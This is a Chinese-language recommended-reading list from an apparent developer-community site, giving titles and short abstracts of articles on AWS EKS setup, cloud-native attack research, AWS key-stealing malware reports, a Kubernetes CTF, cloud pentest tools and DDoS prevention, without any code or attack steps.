紧接AWS简单搭建使用EKS一,eks集群简单搭建完成。需要搭建有状态服务必然就用到了storageclass 存储类,这里用ebs记录以下
对你无可奈何
2023/02/15
1.6K0
【云原生攻防研究 】针对AWS Lambda的运行时攻击
笔者在上一篇文章《Serverless安全研究— Serverless安全风险》中介绍了责任划分原则。对于开发者而言, Serverless因其服务端托管云厂商安全能力强的特点,实际上降低了总体的安全风险。
绿盟科技研究通讯
2020/12/14
2.1K0
【云原生攻防研究 】针对AWS Lambda的运行时攻击
Python 恶意软件 AndroxGh0st 开始窃取 AWS 密钥
入侵 AWS 主机的动机有很多,最常见的就是挖矿与垃圾邮件。过去的一年内,Lacework 发现关键事件中有近三分之一都与垃圾邮件和恶意邮件有关。其中,大部分都与一个名为 AndroxGh0st 的 Python 恶意软件有关,背后至少有一个名为 Xcatze 的攻击者。
FB客服
2023/02/10
1.6K0
Python 恶意软件 AndroxGh0st 开始窃取 AWS 密钥
从Wiz Cluster Games 挑战赛漫谈K8s集群安全
11月初,云安全公司WIZ发起了一项名为“EKS Cluster Games”的CTF挑战赛[1],引发了众多云安全爱好者的参与。本次挑战赛的主题是关于容器集群的攻击技巧。比赛共包括5个场景,整体存在一定的难度,非常值得挑战和学习。
云鼎实验室
2023/12/16
5390
从Wiz Cluster Games 挑战赛漫谈K8s集群安全
CloudFox:一款针对云环境渗透测试的自动化安全态势感知工具
CloudFox是一款针对云环境渗透测试的自动化安全态势感知工具,该工具可以帮助广大研究人员以自动化的形式在自己并不熟悉的云环境中获得环境安全态势感知。该工具是一个开源的命令行工具,旨在帮助渗透测试人员和红队安全专业人员在云基础设施中找到可利用的攻击路径,并以此来提升云端环境的安全性。
FB客服
2022/11/14
2.2K0
CloudFox:一款针对云环境渗透测试的自动化安全态势感知工具
具有EC2自动训练的无服务器TensorFlow工作流程
机器学习训练工作通常是时间和资源密集型的,因此将这一过程整合到实时自动化工作流程中可能会面临挑战。
代码医生工作室
2019/10/15
12.8K0
具有EC2自动训练的无服务器TensorFlow工作流程
如何使用IMDShift提升AWS工作负载的安全性
IMDShift是一款功能强大的AWS工作负载安全增强工具,该工具基于纯Python开发,可以帮助广大研究人员更好地提升AWS工作负载的安全。
FB客服
2023/09/26
1940
如何使用IMDShift提升AWS工作负载的安全性
云渗透安全 - Nebula 自动化测试
Nebula 是一个云和(希望如此)DevOps 渗透测试框架。它为每个提供者和每个功能构建了模块。截至 2021 年 4 月,它仅涵盖 AWS,但目前是一个正在进行的项目,并有望继续发展以测试 GCP、Azure、Kubernetes、Docker 或 Ansible、Terraform、Chef 等自动化引擎。
Khan安全团队
2021/07/08
1.4K0
云渗透安全 - Nebula 自动化测试
配置语言的黄金时代
我认为我们当前所认知的 DevOps 即将走到尽头。至少,其中的 Ops 会如此。随着云基础设施成为应用程序关注的重点,越来越多的 ops 任务由云本身完成或内置于应用程序中。剩下的就是供应和管理应用程序所需的基础设施。这关系到所有的相关附属内容,例如安全性和网络。
深度学习与Python
2021/03/12
3.3K0
红队视角出发的k8s敏感信息收集——云原生集成与元数据滥用
针对 云原生集成与元数据滥用 的详细攻击视角分析,聚焦 云供应商 Metadata API 和 CSI/CSM 驱动漏洞 的利用方法
zhouzhou的奇妙编程
2025/04/16
1450
如何阻止云中的DDoS攻击
从2022年1月到7月,Sysdig威胁研究团队实施了一个全球蜜网系统,通过多个攻击载体捕获了大量漏洞。Sysdig在《2022年云原生威胁报告》中指出,相较2021年,2022年的攻击类型已经从加密挖矿明显转向分布式拒绝服务(DDoS)活动。 如果组织希望通过检测与此威胁相关的早期迹象,来了解如何在云环境中预防DDoS攻击,那么本文将介绍保护云基础设施所需的大多数最佳实践。 云中DoS攻击的技术和方法 在OSI(Open Systems Interconnection)模型中,DDoS攻击的模式和行为
FB客服
2023/02/24
1.8K0
如何阻止云中的DDoS攻击
推荐阅读
相关推荐
11 May 2024 在rosa部署alb和waf
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验